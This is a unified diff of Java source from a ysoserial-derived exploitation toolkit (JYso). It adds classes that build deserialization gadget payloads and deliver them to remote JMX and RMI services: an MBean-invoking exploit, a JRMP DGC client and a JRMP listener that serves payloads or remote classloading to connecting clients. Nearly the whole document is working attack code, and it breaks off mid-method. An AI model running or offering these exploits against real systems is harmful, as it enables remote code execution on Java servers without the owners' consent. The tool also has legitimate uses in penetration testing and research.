int start = msg.indexOf('"');
|
int start = msg.indexOf('"');
|
||||||
int stop = msg.indexOf('"', start + 1);
|
int stop = msg.indexOf('"', start + 1);
|
||||||
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||||
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||||
int c_start = msg.indexOf(':');
|
int c_start = msg.indexOf(':');
|
||||||
int c_end = msg.indexOf(' ', c_start + 2);
|
int c_end = msg.indexOf(' ', c_start + 2);
|
||||||
String cls = msg.substring(c_start + 2, c_end);
|
String cls = msg.substring(c_start + 2, c_end);
|
||||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class ConsoleLogHandler extends Handler {
|
private static final class ConsoleLogHandler extends Handler {
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void publish(LogRecord record) {
|
public void publish(LogRecord record) {
|
||||||
System.err.println(record.getMessage());
|
System.err.println(record.getMessage());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void flush() {
|
public void flush() {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void close() throws SecurityException {
|
public void close() throws SecurityException {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||||
|
|
||||||
private final ConnectionProviderContextImpl context;
|
private final ConnectionProviderContextImpl context;
|
||||||
|
|
||||||
|
|
||||||
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||||
this.context = context;
|
this.context = context;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public void remoteClosed() {
|
public void remoteClosed() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public OpenListener getServiceOpenListener(String serviceType) {
|
public OpenListener getServiceOpenListener(String serviceType) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public RegisteredService getRegisteredService(String serviceType) {
|
public RegisteredService getRegisteredService(String serviceType) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public ConnectionProviderContext getConnectionProviderContext() {
|
public ConnectionProviderContext getConnectionProviderContext() {
|
||||||
return this.context;
|
return this.context;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Connection getConnection() {
|
public Connection getConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||||
|
|
||||||
private final XnioWorker worker;
|
private final XnioWorker worker;
|
||||||
|
|
||||||
private final ExecutorService executor;
|
private final ExecutorService executor;
|
||||||
|
|
||||||
private final Xnio instance;
|
private final Xnio instance;
|
||||||
|
|
||||||
private final Endpoint endpoint;
|
private final Endpoint endpoint;
|
||||||
|
|
||||||
|
|
||||||
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||||
this.instance = Xnio.getInstance();
|
this.instance = Xnio.getInstance();
|
||||||
|
|
||||||
this.worker = this.instance.createWorker(opts);
|
this.worker = this.instance.createWorker(opts);
|
||||||
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||||
this.executor = Executors.newCachedThreadPool(r -> {
|
this.executor = Executors.newCachedThreadPool(r -> {
|
||||||
Thread t = new Thread(r, "Worker");
|
Thread t = new Thread(r, "Worker");
|
||||||
t.setDaemon(true);
|
t.setDaemon(true);
|
||||||
return t;
|
return t;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public XnioWorker getXnioWorker() {
|
public XnioWorker getXnioWorker() {
|
||||||
return this.worker;
|
return this.worker;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Xnio getXnio() {
|
public Xnio getXnio() {
|
||||||
return this.instance;
|
return this.instance;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Executor getExecutor() {
|
public Executor getExecutor() {
|
||||||
return this.executor;
|
return this.executor;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Endpoint getEndpoint() {
|
public Endpoint getEndpoint() {
|
||||||
return this.endpoint;
|
return this.endpoint;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||||
System.err.println("accept");
|
System.err.println("accept");
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,43 +1,43 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
|
|
||||||
import javax.management.MBeanServerConnection;
|
import javax.management.MBeanServerConnection;
|
||||||
import javax.management.ObjectName;
|
import javax.management.ObjectName;
|
||||||
import javax.management.remote.JMXConnector;
|
import javax.management.remote.JMXConnector;
|
||||||
import javax.management.remote.JMXConnectorFactory;
|
import javax.management.remote.JMXConnectorFactory;
|
||||||
import javax.management.remote.JMXServiceURL;
|
import javax.management.remote.JMXServiceURL;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||||
*/
|
*/
|
||||||
public class JMXInvokeMBean {
|
public class JMXInvokeMBean {
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
if (args.length < 6) {
|
if (args.length < 6) {
|
||||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||||
|
|
||||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||||
|
|
||||||
// 去除前两个参数
|
// 去除前两个参数
|
||||||
String[] newArray = new String[args.length - 2];
|
String[] newArray = new String[args.length - 2];
|
||||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||||
|
|
||||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||||
|
|
||||||
//close the connection
|
//close the connection
|
||||||
jmxConnector.close();
|
jmxConnector.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,48 +1,48 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||||
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JRMP listener triggering RMI remote classloading
|
* JRMP listener triggering RMI remote classloading
|
||||||
* <p>
|
* <p>
|
||||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||||
* <p>
|
* <p>
|
||||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||||
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||||
* <p>
|
* <p>
|
||||||
* This only works if
|
* This only works if
|
||||||
* - the remote end is running with a security manager
|
* - the remote end is running with a security manager
|
||||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||||
* <p>
|
* <p>
|
||||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||||
* with a security manager bypass exploit (wouldn't be the first time).
|
* with a security manager bypass exploit (wouldn't be the first time).
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
public class JRMPClassLoadingListener {
|
public class JRMPClassLoadingListener {
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) {
|
||||||
|
|
||||||
if (args.length < 3) {
|
if (args.length < 3) {
|
||||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
int port = Integer.parseInt(args[0]);
|
int port = Integer.parseInt(args[0]);
|
||||||
System.err.println("* Opening JRMP listener on " + port);
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||||
c.run();
|
c.run();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
System.err.println("Listener error");
|
System.err.println("Listener error");
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,132 +1,132 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
import javax.net.SocketFactory;
|
import javax.net.SocketFactory;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.*;
|
import java.net.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Generic JRMP client
|
* Generic JRMP client
|
||||||
* <p>
|
* <p>
|
||||||
* Pretty much the same thing as {@link RMIBindExploit} but
|
* Pretty much the same thing as {@link RMIBindExploit} but
|
||||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({
|
@SuppressWarnings({
|
||||||
"restriction"
|
"restriction"
|
||||||
})
|
})
|
||||||
public class JRMPClient {
|
public class JRMPClient {
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String hostname = args[0];
|
String hostname = args[0];
|
||||||
int port = Integer.parseInt(args[1]);
|
int port = Integer.parseInt(args[1]);
|
||||||
|
|
||||||
// 去除前两个参数
|
// 去除前两个参数
|
||||||
String[] newArray = new String[args.length - 2];
|
String[] newArray = new String[args.length - 2];
|
||||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
|
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
|
||||||
makeDGCCall(hostname, port, payloadObject);
|
makeDGCCall(hostname, port, payloadObject);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
|
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
DataOutputStream dos = null;
|
DataOutputStream dos = null;
|
||||||
try {
|
try {
|
||||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||||
s.setKeepAlive(true);
|
s.setKeepAlive(true);
|
||||||
s.setTcpNoDelay(true);
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
OutputStream os = s.getOutputStream();
|
OutputStream os = s.getOutputStream();
|
||||||
dos = new DataOutputStream(os);
|
dos = new DataOutputStream(os);
|
||||||
|
|
||||||
dos.writeInt(TransportConstants.Magic);
|
dos.writeInt(TransportConstants.Magic);
|
||||||
dos.writeShort(TransportConstants.Version);
|
dos.writeShort(TransportConstants.Version);
|
||||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||||
|
|
||||||
dos.write(TransportConstants.Call);
|
dos.write(TransportConstants.Call);
|
||||||
|
|
||||||
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||||
|
|
||||||
objOut.writeLong(2); // DGC
|
objOut.writeLong(2); // DGC
|
||||||
objOut.writeInt(0);
|
objOut.writeInt(0);
|
||||||
objOut.writeLong(0);
|
objOut.writeLong(0);
|
||||||
objOut.writeShort(0);
|
objOut.writeShort(0);
|
||||||
|
|
||||||
objOut.writeInt(1); // dirty
|
objOut.writeInt(1); // dirty
|
||||||
objOut.writeLong(-669196253586618813L);
|
objOut.writeLong(-669196253586618813L);
|
||||||
|
|
||||||
objOut.writeObject(payloadObject);
|
objOut.writeObject(payloadObject);
|
||||||
|
|
||||||
os.flush();
|
os.flush();
|
||||||
} finally {
|
} finally {
|
||||||
if (dos != null) {
|
if (dos != null) {
|
||||||
dos.close();
|
dos.close();
|
||||||
}
|
}
|
||||||
if (s != null) {
|
if (s != null) {
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
|
||||||
private URL sendUrl;
|
private URL sendUrl;
|
||||||
|
|
||||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||||
super(out);
|
super(out);
|
||||||
this.sendUrl = u;
|
this.sendUrl = u;
|
||||||
}
|
}
|
||||||
|
|
||||||
MarshalOutputStream(OutputStream out) throws IOException {
|
MarshalOutputStream(OutputStream out) throws IOException {
|
||||||
super(out);
|
super(out);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void annotateClass(Class<?> cl) throws IOException {
|
protected void annotateClass(Class<?> cl) throws IOException {
|
||||||
if (this.sendUrl != null) {
|
if (this.sendUrl != null) {
|
||||||
writeObject(this.sendUrl.toString());
|
writeObject(this.sendUrl.toString());
|
||||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||||
writeObject(null);
|
writeObject(null);
|
||||||
} else {
|
} else {
|
||||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||||
StringBuilder cb = new StringBuilder();
|
StringBuilder cb = new StringBuilder();
|
||||||
|
|
||||||
for (URL u : us) {
|
for (URL u : us) {
|
||||||
cb.append(u.toString());
|
cb.append(u.toString());
|
||||||
}
|
}
|
||||||
writeObject(cb.toString());
|
writeObject(cb.toString());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Serializes a location from which to load the specified class.
|
* Serializes a location from which to load the specified class.
|
||||||
*/
|
*/
|
||||||
@Override
|
@Override
|
||||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||||
annotateClass(cl);
|
annotateClass(cl);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,289 +1,289 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.net.ServerSocketFactory;
|
import javax.net.ServerSocketFactory;
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.rmi.MarshalException;
|
import java.rmi.MarshalException;
|
||||||
import java.rmi.server.ObjID;
|
import java.rmi.server.ObjID;
|
||||||
import java.rmi.server.UID;
|
import java.rmi.server.UID;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Generic JRMP listener
|
* Generic JRMP listener
|
||||||
* <p>
|
* <p>
|
||||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||||
* client connecting to it and making a call.
|
* client connecting to it and making a call.
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({
|
@SuppressWarnings({
|
||||||
"restriction"
|
"restriction"
|
||||||
})
|
})
|
||||||
public class JRMPListener implements Runnable {
|
public class JRMPListener implements Runnable {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(JRMPListener.class);
|
private static final Logger log = LogManager.getLogger(JRMPListener.class);
|
||||||
private final int port;
|
private final int port;
|
||||||
|
|
||||||
private final Object payloadObject;
|
private final Object payloadObject;
|
||||||
|
|
||||||
private final ServerSocket ss;
|
private final ServerSocket ss;
|
||||||
|
|
||||||
private final Object waitLock = new Object();
|
private final Object waitLock = new Object();
|
||||||
|
|
||||||
private boolean exit;
|
private boolean exit;
|
||||||
|
|
||||||
private boolean hadConnection;
|
private boolean hadConnection;
|
||||||
|
|
||||||
private URL classpathUrl;
|
private URL classpathUrl;
|
||||||
|
|
||||||
|
|
||||||
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||||
this.port = port;
|
this.port = port;
|
||||||
this.payloadObject = payloadObject;
|
this.payloadObject = payloadObject;
|
||||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
}
|
}
|
||||||
|
|
||||||
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||||
this.port = port;
|
this.port = port;
|
||||||
this.payloadObject = makeDummyObject(className);
|
this.payloadObject = makeDummyObject(className);
|
||||||
this.classpathUrl = classpathUrl;
|
this.classpathUrl = classpathUrl;
|
||||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去除第一个参数
|
// 去除第一个参数
|
||||||
String[] newArray = new String[args.length - 1];
|
String[] newArray = new String[args.length - 1];
|
||||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
final Object payloadObject = ysoserial.PAYLOAD;
|
final Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
int port = Integer.parseInt(args[0]);
|
int port = Integer.parseInt(args[0]);
|
||||||
System.err.println("* Opening JRMP listener on " + port);
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||||
c.run();
|
c.run();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
System.err.println("Listener error");
|
System.err.println("Listener error");
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
@SuppressWarnings({"deprecation"})
|
||||||
protected static Object makeDummyObject(String className) {
|
protected static Object makeDummyObject(String className) {
|
||||||
try {
|
try {
|
||||||
ClassLoader isolation = new ClassLoader() {
|
ClassLoader isolation = new ClassLoader() {
|
||||||
};
|
};
|
||||||
ClassPool cp = new ClassPool();
|
ClassPool cp = new ClassPool();
|
||||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||||
CtClass clazz = cp.get(Dummy.class.getName());
|
CtClass clazz = cp.get(Dummy.class.getName());
|
||||||
clazz.setName(className);
|
clazz.setName(className);
|
||||||
return clazz.toClass(isolation).newInstance();
|
return clazz.toClass(isolation).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
log.error("e: ", e);
|
log.error("e: ", e);
|
||||||
return new byte[0];
|
return new byte[0];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void waitFor(int i) {
|
public void waitFor(int i) {
|
||||||
try {
|
try {
|
||||||
if (this.hadConnection) {
|
if (this.hadConnection) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
System.err.println("Waiting for connection");
|
System.err.println("Waiting for connection");
|
||||||
synchronized (this.waitLock) {
|
synchronized (this.waitLock) {
|
||||||
this.waitLock.wait(i);
|
this.waitLock.wait(i);
|
||||||
}
|
}
|
||||||
} catch (InterruptedException ignored) {
|
} catch (InterruptedException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void close() {
|
public void close() {
|
||||||
this.exit = true;
|
this.exit = true;
|
||||||
try {
|
try {
|
||||||
this.ss.close();
|
this.ss.close();
|
||||||
} catch (IOException ignored) {
|
} catch (IOException ignored) {
|
||||||
}
|
}
|
||||||
synchronized (this.waitLock) {
|
synchronized (this.waitLock) {
|
||||||
this.waitLock.notify();
|
this.waitLock.notify();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void run() {
|
public void run() {
|
||||||
try {
|
try {
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
try {
|
try {
|
||||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||||
try {
|
try {
|
||||||
s.setSoTimeout(5000);
|
s.setSoTimeout(5000);
|
||||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
System.err.println("Have connection from " + remote);
|
System.err.println("Have connection from " + remote);
|
||||||
|
|
||||||
InputStream is = s.getInputStream();
|
InputStream is = s.getInputStream();
|
||||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
|
||||||
// Read magic (or HTTP wrapper)
|
// Read magic (or HTTP wrapper)
|
||||||
bufIn.mark(4);
|
bufIn.mark(4);
|
||||||
DataInputStream in = new DataInputStream(bufIn);
|
DataInputStream in = new DataInputStream(bufIn);
|
||||||
int magic = in.readInt();
|
int magic = in.readInt();
|
||||||
|
|
||||||
short version = in.readShort();
|
short version = in.readShort();
|
||||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||||
s.close();
|
s.close();
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
OutputStream sockOut = s.getOutputStream();
|
OutputStream sockOut = s.getOutputStream();
|
||||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
DataOutputStream out = new DataOutputStream(bufOut);
|
DataOutputStream out = new DataOutputStream(bufOut);
|
||||||
|
|
||||||
byte protocol = in.readByte();
|
byte protocol = in.readByte();
|
||||||
switch (protocol) {
|
switch (protocol) {
|
||||||
case TransportConstants.StreamProtocol:
|
case TransportConstants.StreamProtocol:
|
||||||
out.writeByte(TransportConstants.ProtocolAck);
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
if (remote.getHostName() != null) {
|
if (remote.getHostName() != null) {
|
||||||
out.writeUTF(remote.getHostName());
|
out.writeUTF(remote.getHostName());
|
||||||
} else {
|
} else {
|
||||||
out.writeUTF(remote.getAddress().toString());
|
out.writeUTF(remote.getAddress().toString());
|
||||||
}
|
}
|
||||||
out.writeInt(remote.getPort());
|
out.writeInt(remote.getPort());
|
||||||
out.flush();
|
out.flush();
|
||||||
in.readUTF();
|
in.readUTF();
|
||||||
in.readInt();
|
in.readInt();
|
||||||
case TransportConstants.SingleOpProtocol:
|
case TransportConstants.SingleOpProtocol:
|
||||||
